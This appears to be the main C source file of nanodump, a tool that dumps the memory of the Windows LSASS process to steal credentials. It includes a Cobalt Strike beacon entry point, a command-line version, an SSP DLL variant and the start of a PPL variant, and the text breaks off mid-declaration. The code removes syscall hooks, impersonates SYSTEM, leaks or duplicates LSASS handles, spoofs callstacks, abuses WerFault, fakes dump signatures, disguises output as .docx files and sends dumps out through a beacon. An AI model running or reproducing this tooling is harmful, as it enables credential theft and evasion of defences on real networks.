    "content": "#include \"entry.h\"\n\n#ifdef BOF\n #include \"nanodump.c\"\n#else\n #include \"nanodump.h\"\n#endif\n\n#if defined(NANO) && defined(BOF)\n\nvoid go(char* args, int length)\n{\n    dump_context   dc = { 0 };\n    datap          parser;\n    DWORD          lsass_pid;\n    LPCSTR         dump_path;\n    BOOL           write_dump_to_disk;\n    DWORD          chunk_size;\n    BOOL           fork_lsass;\n    BOOL           snapshot_lsass;\n    BOOL           duplicate_handle;\n    BOOL           elevate_handle;\n    BOOL           duplicate_elevate;\n    BOOL           use_valid_sig;\n    BOOL           success = FALSE;\n    BOOL           ret_val = FALSE;\n    BOOL           get_pid_and_leave;\n    BOOL           use_seclogon_leak_local;\n    BOOL           use_seclogon_leak_remote;\n    HANDLE         hProcess = NULL;\n    BOOL           forked_lsass = FALSE;\n    LPCSTR         seclogon_leak_remote_binary = NULL;\n    BOOL           use_seclogon_duplicate;\n    BOOL           use_silent_process_exit;\n    LPCSTR         silent_process_exit;\n    BOOL           use_lsass_shtinkering;\n    BOOL           spoof_callstack;\n    PPROCESS_LIST  created_processes = NULL;\n    HANDLE         hSnapshot = NULL;\n    WCHAR          wcFilePath[MAX_PATH];\n    BOOL           running_as_system = FALSE;\n    HANDLE         hImpersonate = NULL;\n    UNICODE_STRING full_dump_path;\n    SIZE_T         region_size = 0;\n    PVOID          base_address = NULL;\n\n    full_dump_path.Buffer        = wcFilePath;\n    full_dump_path.Length        = 0;\n    full_dump_path.MaximumLength = 0;\n\n    dc.BaseAddress = NULL;\n    dc.DumpMaxSize = 0;\n\n    BeaconDataParse(&parser, args, length);\n    lsass_pid = BeaconDataInt(&parser);\n    dump_path = BeaconDataExtract(&parser, NULL);\n    write_dump_to_disk = (BOOL)BeaconDataInt(&parser);\n    chunk_size = BeaconDataInt(&parser);\n    use_valid_sig = (BOOL)BeaconDataInt(&parser);\n    fork_lsass = (BOOL)BeaconDataInt(&parser);\n    snapshot_lsass = (BOOL)BeaconDataInt(&parser);\n    duplicate_handle = (BOOL)BeaconDataInt(&parser);\n    elevate_handle = (BOOL)BeaconDataInt(&parser);\n    duplicate_elevate = (BOOL)BeaconDataInt(&parser);\n    get_pid_and_leave = (BOOL)BeaconDataInt(&parser);\n    use_seclogon_leak_local = (BOOL)BeaconDataInt(&parser);\n    use_seclogon_leak_remote = (BOOL)BeaconDataInt(&parser);\n    seclogon_leak_remote_binary = BeaconDataExtract(&parser, NULL);\n    use_seclogon_duplicate = (BOOL)BeaconDataInt(&parser);\n    spoof_callstack = (BOOL)BeaconDataInt(&parser);\n    use_silent_process_exit = (BOOL)BeaconDataInt(&parser);\n    silent_process_exit = BeaconDataExtract(&parser, NULL);\n    use_lsass_shtinkering = (BOOL)BeaconDataInt(&parser);\n\n    remove_syscall_callback_hook();\n\n    success = enable_debug_priv();\n    if (!success)\n        goto cleanup;\n\n    // if not provided, get the PID of LSASS\n    if (!lsass_pid)\n    {\n        lsass_pid = get_lsass_pid();\n        if (!lsass_pid)\n            goto cleanup;\n    }\n    else\n    {\n        DPRINT(\"Using %ld as the PID of \" LSASS, lsass_pid);\n    }\n\n    if (get_pid_and_leave)\n    {\n        PRINT(LSASS \" PID: %ld\", lsass_pid);\n        return;\n    }\n\n    if (use_silent_process_exit)\n    {\n        if (!create_folder(silent_process_exit))\n        {\n            PRINT_ERR(\"The folder \\\"%s\\\" is not valid.\", silent_process_exit);\n            return;\n        }\n        // let the Windows Error Reporting process make the dump for us\n        werfault_silent_process_exit(lsass_pid, silent_process_exit);\n        return;\n    }\n\n    if (write_dump_to_disk)\n    {\n        get_full_path(&full_dump_path, dump_path);\n        if (!create_file(&full_dump_path))\n            goto cleanup;\n    }\n\n    if (elevate_handle || duplicate_elevate)\n    {\n        success = is_current_user_system(&running_as_system);\n        if (!success)\n            goto cleanup;\n\n        if (!running_as_system)\n        {\n            DPRINT(\"The options --elevate-handle and --duplicate-elevate require SYSTEM, impersonating...\");\n            success = impersonate_system(&hImpersonate);\n            if (!success)\n                goto cleanup;\n            DPRINT(\"Impersonating SYSTEM\")\n        }\n    }\n\n    success = obtain_lsass_handle(\n        &hProcess,\n        lsass_pid,\n        duplicate_handle,\n        elevate_handle,\n        duplicate_elevate,\n        use_seclogon_duplicate,\n        spoof_callstack,\n        FALSE,\n        seclogon_leak_remote_binary,\n        &created_processes,\n        use_valid_sig,\n        dump_path,\n        fork_lsass,\n        snapshot_lsass,\n        &hSnapshot,\n        use_seclogon_leak_local,\n        use_seclogon_leak_remote,\n        use_lsass_shtinkering);\n\n    // delete the uploaded nanodump binary\n    if (use_seclogon_leak_local)\n        delete_file(seclogon_leak_remote_binary);\n\n    if (!success)\n        goto cleanup;\n\n    if (use_seclogon_leak_local)\n        return;\n\n    if (use_lsass_shtinkering)\n    {\n        werfault_shtinkering(\n            lsass_pid,\n            hProcess);\n        goto cleanup;\n    }\n\n    // set the signature\n    if (use_valid_sig)\n    {\n        DPRINT(\"Using a valid signature\");\n        dc.Signature = MINIDUMP_SIGNATURE;\n        dc.Version = MINIDUMP_VERSION;\n        dc.ImplementationVersion = MINIDUMP_IMPL_VERSION;\n    }\n    else\n    {\n        DPRINT(\"Using a invalid signature\");\n        generate_invalid_sig(\n            &dc.Signature,\n            &dc.Version,\n            &dc.ImplementationVersion);\n    }\n\n    // allocate a chuck of memory to write the dump\n    region_size = DUMP_MAX_SIZE;\n    base_address = allocate_memory(&region_size);\n    if (!base_address)\n        goto cleanup;\n\n    dc.hProcess    = hProcess;\n    dc.BaseAddress = base_address;\n    dc.rva         = 0;\n    dc.DumpMaxSize = region_size;\n\n    success = NanoDumpWriteDump(&dc);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\n        \"The dump was created successfully, final size: %d MiB\",\n        (dc.rva/1024)/1024);\n\n    if (!use_valid_sig)\n    {\n        // at this point, you can encrypt or obfuscate the dump\n        encrypt_dump(\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    if (write_dump_to_disk)\n    {\n        success = write_file(\n            &full_dump_path,\n            dc.BaseAddress,\n            dc.rva);\n    }\n    else\n    {\n        success = download_file(\n            chunk_size,\n            dump_path,\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    if (!success)\n        goto cleanup;\n\n    print_success(\n        dump_path,\n        use_valid_sig,\n        write_dump_to_disk);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hProcess && forked_lsass)\n        kill_process(0, hProcess);\n    if (hProcess)\n        NtClose(hProcess);\n    if (dc.BaseAddress && dc.DumpMaxSize)\n        erase_dump_from_memory(dc.BaseAddress, dc.DumpMaxSize);\n    if (!ret_val && write_dump_to_disk)\n        delete_file(dump_path);\n    if (hSnapshot)\n        free_snapshot(hSnapshot);\n    if (created_processes)\n    {\n        kill_created_processes(created_processes);\n        DATA_FREE(created_processes, sizeof(PROCESS_LIST));\n    }\n    if (hImpersonate)\n    {\n        revert_to_self();\n        NtClose(hImpersonate);\n    }\n}\n\n#elif defined(NANO) && defined(EXE)\n\nvoid usage(char* procname)\n{\n    PRINT(\"usage: %s [--write C:\\\\Windows\\\\Temp\\\\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\\\\Windows\\\\notepad.exe] [--seclogon-duplicate] [--spoof-callstack svchost] [--silent-process-exit C:\\\\Windows\\\\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]\", procname);\n    PRINT(\"Dumpfile options:\");\n    PRINT(\"    --write DUMP_PATH, -w DUMP_PATH\");\n    PRINT(\"            filename of the dump\");\n    PRINT(\"    --valid, -v\");\n    PRINT(\"            create a dump with a valid signature\");\n    PRINT(\"Obtain an LSASS handle via:\");\n    PRINT(\"    --duplicate, -d\");\n    PRINT(\"            duplicate a high privileged existing \" LSASS \" handle\");\n    PRINT(\"    --duplicate-elevate, -de\");\n    PRINT(\"            duplicate a low privileged existing \" LSASS \" handle and then elevate it\");\n    PRINT(\"    --seclogon-leak-local, -sll\");\n    PRINT(\"            leak an \" LSASS \" handle into nanodump via seclogon\");\n    PRINT(\"    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH\");\n    PRINT(\"            leak an \" LSASS \" handle into another process via seclogon and duplicate it\");\n    PRINT(\"    --seclogon-duplicate, -sd\");\n    PRINT(\"            make seclogon open a handle to \" LSASS \" and duplicate it\");\n    PRINT(\"    --spoof-callstack, -sc\");\n    PRINT(\"            open a handle to \" LSASS \" using a fake calling stack\");\n    PRINT(\"Let WerFault.exe (instead of nanodump) create the dump\");\n    PRINT(\"    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER\");\n    PRINT(\"            force WerFault.exe to dump \" LSASS \" via SilentProcessExit\");\n    PRINT(\"    --shtinkering, -sk\");\n    PRINT(\"            force WerFault.exe to dump \" LSASS \" via Shtinkering\");\n    PRINT(\"Avoid reading \" LSASS \" directly:\");\n    PRINT(\"    --fork, -f\");\n    PRINT(\"            fork the target process before dumping\");\n    PRINT(\"    --snapshot, -s\");\n    PRINT(\"            snapshot the target process before dumping\");\n    PRINT(\"Avoid opening a handle with high privileges:\")\n    PRINT(\"    --elevate-handle, -eh\");\n    PRINT(\"            open a handle to \" LSASS \" with low privileges and duplicate it to gain higher privileges\");\n    PRINT(\"Miscellaneous:\");\n    PRINT(\"    --getpid\");\n    PRINT(\"            print the PID of \" LSASS \" and leave\");\n    PRINT(\"Help:\");\n    PRINT(\"    --help, -h\");\n    PRINT(\"            print this help message and leave\");\n}\n\nint main(int argc, char* argv[])\n{\n    dump_context   dc                             = { 0 };\n    DWORD          lsass_pid                      = 0;\n    HANDLE         hProcess                       = NULL;\n    BOOL           fork_lsass                     = FALSE;\n    BOOL           snapshot_lsass                 = FALSE;\n    BOOL           duplicate_handle               = FALSE;\n    BOOL           elevate_handle                 = FALSE;\n    BOOL           duplicate_elevate              = FALSE;\n    LPCSTR         silent_process_exit            = NULL;\n    LPCSTR         dump_path                      = NULL;\n    BOOL           success                        = FALSE;\n    BOOL           use_valid_sig                  = FALSE;\n    BOOL           get_pid_and_leave              = FALSE;\n    BOOL           use_seclogon_leak_local        = FALSE;\n    BOOL           use_seclogon_leak_remote       = FALSE;\n    BOOL           is_seclogon_leak_local_stage_2 = FALSE;\n    LPCSTR         seclogon_leak_remote_binary    = NULL;\n    BOOL           use_seclogon_duplicate         = FALSE;\n    BOOL           use_lsass_shtinkering          = FALSE;\n    BOOL           spoof_callstack                = FALSE;\n    HANDLE         hSnapshot                      = NULL;\n    PPROCESS_LIST  created_processes              = NULL;\n    BOOL           ret_val                        = FALSE;\n    DWORD          num_modes                      = 0;\n    WCHAR          wcFilePath[MAX_PATH]           = { 0 };\n    UNICODE_STRING full_dump_path                 = { 0 };\n    BOOL           running_as_system              = FALSE;\n    WCHAR          wcSnycPath[MAX_PATH]           = { 0 };\n    UNICODE_STRING synchronization_file           = { 0 };\n    BOOL           do_synchronize                 = FALSE;\n    HANDLE         hImpersonate                   = NULL;\n\n    full_dump_path.Buffer        = wcFilePath;\n    full_dump_path.Length        = 0;\n    full_dump_path.MaximumLength = 0;\n\n    synchronization_file.Buffer        = wcSnycPath;\n    synchronization_file.Length        = 0;\n    synchronization_file.MaximumLength = 0;\n\n    dc.BaseAddress = NULL;\n    dc.DumpMaxSize = 0;\n\n#ifdef _M_IX86\n    if (local_is_wow64())\n    {\n        PRINT_ERR(\"Nanodump does not support WoW64\");\n        return 0;\n    }\n#endif\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!strncmp(argv[i], \"--getpid\", 9))\n        {\n            get_pid_and_leave = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-v\", 3) ||\n            !strncmp(argv[i], \"--valid\", 8))\n        {\n            use_valid_sig = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-w\", 3) ||\n                 !strncmp(argv[i], \"--write\", 8))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write value\");\n                return 0;\n            }\n            dump_path = argv[++i];\n            get_full_path(&full_dump_path, dump_path);\n        }\n        else if (!strncmp(argv[i], \"-p\", 3) ||\n                 !strncmp(argv[i], \"--pid\", 6))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --pid value\");\n                return 0;\n            }\n            i++;\n            lsass_pid = atoi(argv[i]);\n            if (!lsass_pid ||\n                strspn(argv[i], \"0123456789\") != strlen(argv[i]))\n            {\n                PRINT(\"Invalid PID: %s\", argv[i]);\n                return 0;\n            }\n        }\n        else if (!strncmp(argv[i], \"-f\", 3) ||\n                 !strncmp(argv[i], \"--fork\", 7))\n        {\n            fork_lsass = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-s\", 3) ||\n                 !strncmp(argv[i], \"--snapshot\", 11))\n        {\n            snapshot_lsass = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-d\", 3) ||\n                 !strncmp(argv[i], \"--duplicate\", 12))\n        {\n            duplicate_handle = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-eh\", 4) ||\n                 !strncmp(argv[i], \"--elevate-handle\", 17))\n        {\n            elevate_handle = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-de\", 4) ||\n                 !strncmp(argv[i], \"--duplicate-elevate\", 20))\n        {\n            duplicate_elevate = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-sll\", 5) ||\n                 !strncmp(argv[i], \"--seclogon-leak-local\", 22))\n        {\n            use_seclogon_leak_local = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-slr\", 5) ||\n                 !strncmp(argv[i], \"--seclogon-leak-remote\", 23))\n        {\n            use_seclogon_leak_remote = TRUE;\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --seclogon-leak-remote value\");\n                return 0;\n            }\n            seclogon_leak_remote_binary = argv[++i];\n            if (!strrchr(seclogon_leak_remote_binary, '\\\\'))\n            {\n                PRINT(\"You must provide a full path: %s\", seclogon_leak_remote_binary);\n                return 0;\n            }\n            if (!file_exists(seclogon_leak_remote_binary))\n            {\n                PRINT(\"The binary \\\"%s\\\" does not exists.\", seclogon_leak_remote_binary);\n                return 0;\n            }\n        }\n        else if (!strncmp(argv[i], \"-s2\", 4) ||\n                 !strncmp(argv[i], \"--stage2\", 9))\n        {\n            is_seclogon_leak_local_stage_2 = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-spe\", 5) ||\n                 !strncmp(argv[i], \"--silent-process-exit\", 22))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --silent-process-exit value\");\n                return 0;\n            }\n            silent_process_exit = argv[++i];\n            if (!create_folder(silent_process_exit))\n            {\n                PRINT(\"The folder \\\"%s\\\" is not valid.\", silent_process_exit);\n                return 0;\n            }\n        }\n        else if (!strncmp(argv[i], \"-sk\", 4) ||\n                 !strncmp(argv[i], \"--shtinkering\", 14))\n        {\n            use_lsass_shtinkering = TRUE;\n\n            success = is_current_user_system(&running_as_system);\n            if (!success)\n                goto cleanup;\n\n            if (!running_as_system)\n            {\n                PRINT_ERR(\"You must be SYSTEM to run the Shtinkering technique\");\n                return 0;\n            }\n        }\n        else if (!strncmp(argv[i], \"-sd\", 4) ||\n                 !strncmp(argv[i], \"--seclogon-duplicate\", 21))\n        {\n            use_seclogon_duplicate = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-sync\", 6))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing -sync value\");\n                return 0;\n            }\n            do_synchronize = TRUE;\n            get_full_path(&synchronization_file, argv[++i]);\n        }\n        else if (!strncmp(argv[i], \"-sc\", 4) ||\n                 !strncmp(argv[i], \"--spoof-callstack\", 18))\n        {\n            spoof_callstack = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-h\", 3) ||\n                 !strncmp(argv[i], \"--help\", 7))\n        {\n            usage(argv[0]);\n            return 0;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            return 0;\n        }\n    }\n\n    if (full_dump_path.Length)\n        num_modes++;\n    if (get_pid_and_leave)\n        num_modes++;\n    if (silent_process_exit)\n        num_modes++;\n    if (use_lsass_shtinkering)\n        num_modes++;\n    if (num_modes != 1)\n    {\n        PRINT(\"Only one of the following parameters must be provided:\")\n        PRINT(\" --write: nanodump will create the dump\");\n        PRINT(\" --silent-process-exit: WerFault will create the dump via SilentProcessExit\");\n        PRINT(\" --shtinkering: WerFault will create the dump via Shtinkering\");\n        PRINT(\" --getpid: get the PID of \" LSASS);\n        PRINT(\"Enter --help for more details\");\n        return 0;\n    }\n\n    if (get_pid_and_leave &&\n        (use_valid_sig || snapshot_lsass || fork_lsass || elevate_handle || duplicate_elevate ||\n         use_seclogon_duplicate || spoof_callstack || use_seclogon_leak_local ||\n         use_seclogon_leak_remote || duplicate_handle || silent_process_exit))\n    {\n        PRINT(\"The parameter --getpid is used alone\");\n        return 0;\n    }\n\n    if (silent_process_exit &&\n        (use_valid_sig || snapshot_lsass || fork_lsass ||\n         use_seclogon_duplicate || spoof_callstack || use_seclogon_leak_local ||\n         use_seclogon_leak_remote || duplicate_handle || elevate_handle || duplicate_elevate))\n    {\n        PRINT(\"The parameter --silent-process-exit is used alone\");\n        return 0;\n    }\n\n    if (fork_lsass && snapshot_lsass)\n    {\n        PRINT(\"The options --fork and --snapshot cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_handle && elevate_handle)\n    {\n        PRINT(\"The options --duplicate and --elevate-handle cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_elevate && spoof_callstack)\n    {\n        PRINT(\"The options --duplicate-elevate and --spoof-callstack cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_handle && spoof_callstack)\n    {\n        PRINT(\"The options --duplicate and --spoof-callstack cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_handle && use_seclogon_duplicate)\n    {\n        PRINT(\"The options --duplicate and --seclogon-duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (elevate_handle && duplicate_elevate)\n    {\n        PRINT(\"The options --elevate-handle and --duplicate-elevate cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_elevate && duplicate_handle)\n    {\n        PRINT(\"The options --duplicate-elevate and --duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_elevate && use_seclogon_duplicate)\n    {\n        PRINT(\"The options --duplicate-elevate and --seclogon-duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (elevate_handle && use_seclogon_duplicate)\n    {\n        PRINT(\"The options --elevate-handle and --seclogon-duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_handle && use_seclogon_leak_local)\n    {\n        PRINT(\"The options --duplicate and --seclogon-leak-local cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_elevate && use_seclogon_leak_local)\n    {\n        PRINT(\"The options --duplicate-elevate and --seclogon-leak-local cannot be used together\");\n        return 0;\n    }\n\n    if (elevate_handle && use_seclogon_leak_local)\n    {\n        PRINT(\"The options --elevate-handle and --seclogon-leak-local cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_handle && use_seclogon_leak_remote)\n    {\n        PRINT(\"The options --duplicate and --seclogon-leak-remote cannot be used together\");\n        return 0;\n    }\n\n    if (elevate_handle && use_seclogon_leak_remote)\n    {\n        PRINT(\"The options --elevate-handle and --seclogon-leak-remote cannot be used together\");\n        return 0;\n    }\n\n    if (duplicate_elevate && use_seclogon_leak_remote)\n    {\n        PRINT(\"The options --duplicate-elevate and --seclogon-leak-remote cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_leak_local && use_seclogon_leak_remote)\n    {\n        PRINT(\"The options --seclogon-leak-local and --seclogon-leak-remote cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_leak_local && use_seclogon_duplicate)\n    {\n        PRINT(\"The options --seclogon-leak-local and --seclogon-duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_leak_local && spoof_callstack)\n    {\n        PRINT(\"The options --seclogon-leak-local and --spoof-callstack cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_leak_remote && use_seclogon_duplicate)\n    {\n        PRINT(\"The options --seclogon-leak-remote and --seclogon-duplicate cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_leak_remote && spoof_callstack)\n    {\n        PRINT(\"The options --seclogon-leak-remote and --spoof-callstack cannot be used together\");\n        return 0;\n    }\n\n    if (use_seclogon_duplicate && spoof_callstack)\n    {\n        PRINT(\"The options --seclogon-duplicate and --spoof-callstack cannot be used together\");\n        return 0;\n    }\n\n    if (!use_lsass_shtinkering && use_seclogon_leak_local && !is_full_path(dump_path))\n    {\n        PRINT(\"If --seclogon-leak-local is being used, you need to provide the full path: %s\", dump_path);\n        return 0;\n    }\n\n    if (use_lsass_shtinkering && fork_lsass)\n    {\n        PRINT(\"The options --shtinkering and --fork cannot be used together\");\n        return 0;\n    }\n\n    if (use_lsass_shtinkering && snapshot_lsass)\n    {\n        PRINT(\"The options --shtinkering and --snapshot cannot be used together\");\n        return 0;\n    }\n\n    if (use_lsass_shtinkering && use_valid_sig)\n    {\n        PRINT(\"The options --shtinkering and --valid cannot be used together\");\n        return 0;\n    }\n\n    remove_syscall_callback_hook();\n\n    success = enable_debug_priv();\n    if (!success)\n        goto cleanup;\n\n    // if not provided, get the PID of LSASS\n    if (!lsass_pid)\n    {\n        lsass_pid = get_lsass_pid();\n        if (!lsass_pid)\n            goto cleanup;\n    }\n    else\n    {\n        DPRINT(\"Using %ld as the PID of \" LSASS, lsass_pid);\n    }\n\n    // get the PID of LSASS and leave (is this even used by anyone?)\n    if (get_pid_and_leave)\n    {\n        PRINT(LSASS \" PID: %ld\", lsass_pid);\n        ret_val = TRUE;\n        goto cleanup;\n    }\n\n    if (elevate_handle || duplicate_elevate)\n    {\n        success = is_current_user_system(&running_as_system);\n        if (!success)\n            goto cleanup;\n\n        if (!running_as_system)\n        {\n            DPRINT(\"The options --elevate-handle and --duplicate-elevate require SYSTEM, impersonating...\");\n            success = impersonate_system(&hImpersonate);\n            if (!success)\n                goto cleanup;\n            DPRINT(\"Impersonating SYSTEM\")\n        }\n    }\n\n    if (silent_process_exit)\n    {\n        // let the Windows Error Reporting process make the dump for us\n        ret_val = werfault_silent_process_exit(lsass_pid, silent_process_exit);\n        goto cleanup;\n    }\n\n    if (use_seclogon_leak_local && !seclogon_leak_remote_binary)\n        seclogon_leak_remote_binary = argv[0];\n\n    if (!use_lsass_shtinkering)\n    {\n        if (!create_file(&full_dump_path))\n            goto cleanup;\n    }\n\n    success = obtain_lsass_handle(\n        &hProcess,\n        lsass_pid,\n        duplicate_handle,\n        elevate_handle,\n        duplicate_elevate,\n        use_seclogon_duplicate,\n        spoof_callstack,\n        is_seclogon_leak_local_stage_2,\n        seclogon_leak_remote_binary,\n        &created_processes,\n        use_valid_sig,\n        dump_path,\n        fork_lsass,\n        snapshot_lsass,\n        &hSnapshot,\n        use_seclogon_leak_local,\n        use_seclogon_leak_remote,\n        use_lsass_shtinkering);\n    if (!success)\n        goto cleanup;\n\n    if (use_seclogon_leak_local && !is_seclogon_leak_local_stage_2)\n        return 0;\n\n    if (use_lsass_shtinkering)\n    {\n        ret_val = werfault_shtinkering(\n            lsass_pid,\n            hProcess);\n        goto cleanup;\n    }\n\n    // set the signature\n    if (use_valid_sig)\n    {\n        DPRINT(\"Using a valid signature\");\n        dc.Signature = MINIDUMP_SIGNATURE;\n        dc.Version = MINIDUMP_VERSION;\n        dc.ImplementationVersion = MINIDUMP_IMPL_VERSION;\n    }\n    else\n    {\n        DPRINT(\"Using a invalid signature\");\n        generate_invalid_sig(\n            &dc.Signature,\n            &dc.Version,\n            &dc.ImplementationVersion);\n    }\n\n    // allocate a chuck of memory to write the dump\n    SIZE_T region_size = DUMP_MAX_SIZE;\n    PVOID base_address = allocate_memory(&region_size);\n    if (!base_address)\n        goto cleanup;\n\n    dc.hProcess    = hProcess;\n    dc.BaseAddress = base_address;\n    dc.rva         = 0;\n    dc.DumpMaxSize = region_size;\n\n    success = NanoDumpWriteDump(&dc);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\n        \"The dump was created successfully, final size: %d MiB\",\n        (dc.rva/1024)/1024);\n\n    if (!use_valid_sig)\n    {\n        // at this point, you can encrypt or obfuscate the dump\n        encrypt_dump(\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    success = write_file(\n        &full_dump_path,\n        dc.BaseAddress,\n        dc.rva);\n\n    if (!success)\n        goto cleanup;\n\n    if (!is_seclogon_leak_local_stage_2)\n    {\n        print_success(\n            dump_path,\n            use_valid_sig,\n            TRUE);\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hProcess && fork_lsass)\n        kill_process(0, hProcess);\n    if (hProcess)\n        NtClose(hProcess);\n    if (dc.BaseAddress && dc.DumpMaxSize)\n        erase_dump_from_memory(dc.BaseAddress, dc.DumpMaxSize);\n    if (!ret_val && dump_path)\n        delete_file(dump_path);\n    if (hSnapshot)\n        free_snapshot(hSnapshot);\n    if (created_processes)\n    {\n        kill_created_processes(created_processes);\n        DATA_FREE(created_processes, sizeof(PROCESS_LIST));\n    }\n    if (hImpersonate)\n    {\n        revert_to_self();\n        NtClose(hImpersonate);\n    }\n    if (ret_val && do_synchronize)\n        create_file(&synchronization_file);\n\n    return 0;\n}\n\n#elif defined(NANO) && defined(SSP)\n\n#include \"ssp.h\"\n#include \"pipe.h\"\n\nBOOL NanoDumpSSP(void)\n{\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || (PASS_PARAMS_VIA_NAMED_PIPES == 0)\n\n    /*\n     * if you compile with -DPASS_PARAMS_VIA_NAMED_PIPES=0, then these are the parameters\n     * that the nanodump DLL will use, change them to your liking\n     */\n    /******************* change this *******************/\n    LPCSTR         dump_path            = \"C:\\\\Windows\\\\Temp\\\\report.docx\";\n    BOOL           use_valid_sig        = FALSE;\n    /***************************************************/\n    dump_context   dc                   = { 0 };\n    BOOL           ret_val              = FALSE;\n    BOOL           success              = FALSE;\n    HANDLE         hProcess             = NULL;\n    SIZE_T         region_size          = 0;\n    PVOID          base_address         = NULL;\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING full_dump_path       = { 0 };\n\n#else\n    HANDLE         hPipe                = NULL;\n    LPSTR          dump_path            = NULL;\n    BOOL           use_valid_sig        = FALSE;\n    dump_context   dc                   = { 0 };\n    BOOL           ret_val              = FALSE;\n    BOOL           success              = FALSE;\n    HANDLE         hProcess             = NULL;\n    SIZE_T         region_size          = 0;\n    PVOID          base_address         = NULL;\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING full_dump_path       = { 0 };\n\n    success = server_create_named_pipe(\n        IPC_PIPE_NAME,\n        FALSE,\n        &hPipe);\n    if (!success)\n        goto cleanup;\n\n    success = server_listen_on_named_pipe(\n        hPipe);\n    if (!success)\n        goto cleanup;\n\n    success = server_recv_arguments_from_pipe(\n        hPipe,\n        &dump_path,\n        &use_valid_sig,\n        NULL);\n    if (!success)\n        goto cleanup;\n\n#endif\n\n    full_dump_path.Buffer        = wcFilePath;\n    full_dump_path.Length        = 0;\n    full_dump_path.MaximumLength = 0;\n\n    dc.BaseAddress = NULL;\n    dc.DumpMaxSize = 0;\n\n    get_full_path(&full_dump_path, dump_path);\n\n    if (!create_file(&full_dump_path))\n        goto cleanup;\n\n    // set the signature\n    if (use_valid_sig)\n    {\n        dc.Signature = MINIDUMP_SIGNATURE;\n        dc.Version = MINIDUMP_VERSION;\n        dc.ImplementationVersion = MINIDUMP_IMPL_VERSION;\n    }\n    else\n    {\n        generate_invalid_sig(\n            &dc.Signature,\n            &dc.Version,\n            &dc.ImplementationVersion);\n    }\n\n    // we are LSASS after all :)\n    hProcess = NtCurrentProcess();\n\n    // allocate a chuck of memory to write the dump\n    region_size = DUMP_MAX_SIZE;\n    base_address = allocate_memory(&region_size);\n    if (!base_address)\n        goto cleanup;\n\n    dc.hProcess    = hProcess;\n    dc.BaseAddress = base_address;\n    dc.rva         = 0;\n    dc.DumpMaxSize = region_size;\n\n    success = NanoDumpWriteDump(&dc);\n    if (!success)\n        goto cleanup;\n\n    if (!use_valid_sig)\n    {\n        // at this point, you can encrypt or obfuscate the dump\n        encrypt_dump(\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    success = write_file(\n        &full_dump_path,\n        dc.BaseAddress,\n        dc.rva);\n\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (dc.BaseAddress && dc.DumpMaxSize)\n        erase_dump_from_memory(dc.BaseAddress, dc.DumpMaxSize);\n    if (!ret_val)\n        delete_file(dump_path);\n#if defined(PASS_PARAMS_VIA_NAMED_PIPES) && (PASS_PARAMS_VIA_NAMED_PIPES == 1)\n    if (dump_path)\n        intFree(dump_path);\n    server_send_success(\n        hPipe,\n        ret_val);\n    if (hPipe)\n        server_disconnect_pipe(hPipe);\n    if (hPipe)\n        NtClose(hPipe);\n#endif\n\n    return ret_val;\n}\n\n__declspec(dllexport) BOOL APIENTRY DllMain(\n    HINSTANCE hinstDLL,\n    DWORD fdwReason,\n    LPVOID lpReserved)\n{\n    UNUSED(hinstDLL);\n    UNUSED(lpReserved);\n    switch (fdwReason)\n    {\n        case DLL_PROCESS_ATTACH:\n            NanoDumpSSP();\n            break;\n        case DLL_THREAD_ATTACH:\n            break;\n        case DLL_THREAD_DETACH:\n            break;\n        case DLL_PROCESS_DETACH:\n            break;\n    }\n    return FALSE;\n}\n\n#elif defined(NANO) && defined(PPL_DUMP)\n\n#include \"ppl/cleanup.h\"\n\nBOOL NanoDumpPPLDump(VOID)\n{\n    dump_context   dc                   = { 0 };\n    BOOL           bReturnValue         = FALSE;\n    HANDLE         hProcess             = 